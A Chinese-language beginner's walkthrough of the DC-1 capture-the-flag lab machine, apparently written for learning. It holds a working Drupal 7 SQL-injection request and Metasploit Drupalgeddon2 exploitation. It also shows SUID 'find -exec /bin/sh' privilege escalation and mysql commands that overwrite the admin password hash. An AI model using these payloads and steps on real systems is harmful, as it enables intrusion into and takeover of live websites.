DC-1 靶机WP,新手看新手的WP,更易于构建自己的思路,发现当前阶段可能遇到的问题
环境配置
将kali和DC靶场同一设为NAT模式,让他俩处在同一网段下
通过arp命令扫描c段,获取DC靶机ip地址
arp-scan 192.168.153.0/24
使用netdiscover扫描也可得到
通过nmap扫描端口,得知80端口开放
nmap -p- -T4 192.168.153.141尝试访问,可以看到该靶机开了个网站
然后继续信息搜集,使用dirsearch扫描目录
dirsearch -u http://192.168.153.141时间有点长,先做其他测试,使用雪瞳得到一个类似admin的接口
拼接访问,显示无权限,做了鉴权,看来不是什么垃圾网页
dirsearch 扫出来这么多
/COPYRIGHT.txt /INSTALL /INSTALL.mysql.txt /INSTALL.pgsql.txt /install.php /INSTALL.txt /install.php?profile=default /LICENSE /LICENSE.txt /MAINTAINERS.txt /node/1?_format=hal_json /README /README.txt /robots.txt /sites/all/modules/README.txt /sites/all/themes/README.txt /sites/example.sites.php sites/README.txt /UPGRADE /UPGRADE.txt /user /user.asp /user.txt /user/ /views/ajax/autocomplete/user/a /web.config /xmlrpc.phpv访问了几个目录,得到以下
好像是一篇文章,没啥用
通过该插件,获得一些其他信息
可以自己创建账号登录?尝试创建后登录。
好吧,不行,需要管理员审核(后面成功提权的时候发现数据库其实有这个数据了,但是我没设过密码啊,它让给个用户名和邮箱就行。而且密码还是哈希后的)
根据上面得到的dural cms版本是7,所以尝试搜索有无漏洞
搜索到一个适配版本,且无需什么条件的CVE漏洞,根据文章内容复现
构造请求
POST /?q=node&destination=node HTTP/1.1 Host: 192.168.153.141 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 120 pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,user()),0)%23]=bob&name[0]=a成功通过报错注入获取数据库用户名
同时可能不止一个数据库
但是,爆表名时,直接拼接到登陆页面了,不知道是我payload构造问题,还是被修复了
继续搜索漏洞,发现还有一个远程代码执行(RCE)CVE-2018-7600
首先启动Metaspolit
msfconsole选择漏洞利用的模块
use exploit/unix/webapp/drupal_drupalgeddon2配置IP地址和端口,运行
成功获取权限
切换shell,提升交互,顺便查看有哪些文件
本来看到root和flag4用户,按照上一次的ACID靶机,应该是先切flag4,再提权到root。但是突然想到上次是特殊情况,常规先用
find / -perm -4000 -type f 2>/dev/null有/usr/bin/find 有SUID 权限,成功提权
find / -name passwd -exec /bin/sh \; -quit本来以为到这就结束了,开始享用root权限了,结果只是ls看了以下,发现有个flag1.txt,意识到不对,可能还要找flag
flag1
Every good CMS needs a config file - and so do you.根据提示,下一步应该是看配置文件
flag2
flag2 * Brute force and dictionary attacks aren't the * only ways to gain access (and you WILL need access). * What can you do with these credentials?过程
同时还发现了MySQL数据库的账号密码
提示暴力破解不是获取权限的好方法,我直接登录数据库,查看
根据之前得到的数据库,先看drupaldb
mysql -u dbuser -pR0ck3t -e "USE drupaldb; SHOW TABLES;" mysql -u dbuser -pR0ck3t -e "SHOW TABLES FROM drupaldb;"获取user表的字段名
mysql -u dbuser -pR0ck3t -e "DESCRIBE drupaldb.users;"在这里插入图片描述
开始查询
mysql -u dbuser -pR0ck3t -e "SELECT uid, name, pass, mail FROM drupaldb.users;"在shell中重新哈希一个我们已知的密码
php /var/www/scripts/password-hash.sh 'newpass123' $S$DYOMXbdM9P3oPvRdM4lfP5GFSZLhzmxDVgbIpmXzbYcHKRvlhLTa更新admin密码
mysql -u dbuser -pR0ck3t -e "UPDATE drupaldb.users SET pass='\$S\$DYOMXbdM9P3oPvRdM4lfP5GFSZLhzmxDVgbIpmXzbYcHKRvlhLTa' WHERE uid=1;"验证
mysql -u dbuser -pR0ck3t -e "SELECT uid, name, pass FROM drupaldb.users WHERE uid=1;"通过语法找flag
find / -name "flag*.txt" 2>/dev/nullflag4
Can you use this same method to find or access the flag in root? Probably. But perhaps it's not that easy. Or maybe it is?登录管理员后发现版本是7.24<7.32,所以sql注入没被修复
/admin/reports/status后面看网站功能时,找到flag3
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.后面没有线索了,但是以防万一,问AI要了一个更全的搜索文件名包含flag的命令,找到了最后一个,the final
find / -name "*flag*" -type f 2>/dev/nullflag5
Well done!!!! Hopefully you've enjoyed this and learned some new skills. You can let me know what you thought of this little journey by contacting me via Twitter - @DCAU7其实还没结束,前面的sql没被修复,应该还要尝试以下怎么爆破出具体的用户,密码(虽然是hash过的用不了)。其次,网站本身的渗透测试也没怎么做,这次重点主要放在提权和找flag文件。网站内部也有很多功能点没有测试,像搜索框的sql和xss,文件上传等等。最后,搜集drupal cms漏洞时,还有其他高版本漏洞,需要一些条件(CVE-2019-6339 RCE 需要管理员账号登陆后台 ;CVE-2018-7602 RCE 需要账号密码),我想有的应该还是适用低版本的。但是既然已经漏成筛子了,一切就后面再说。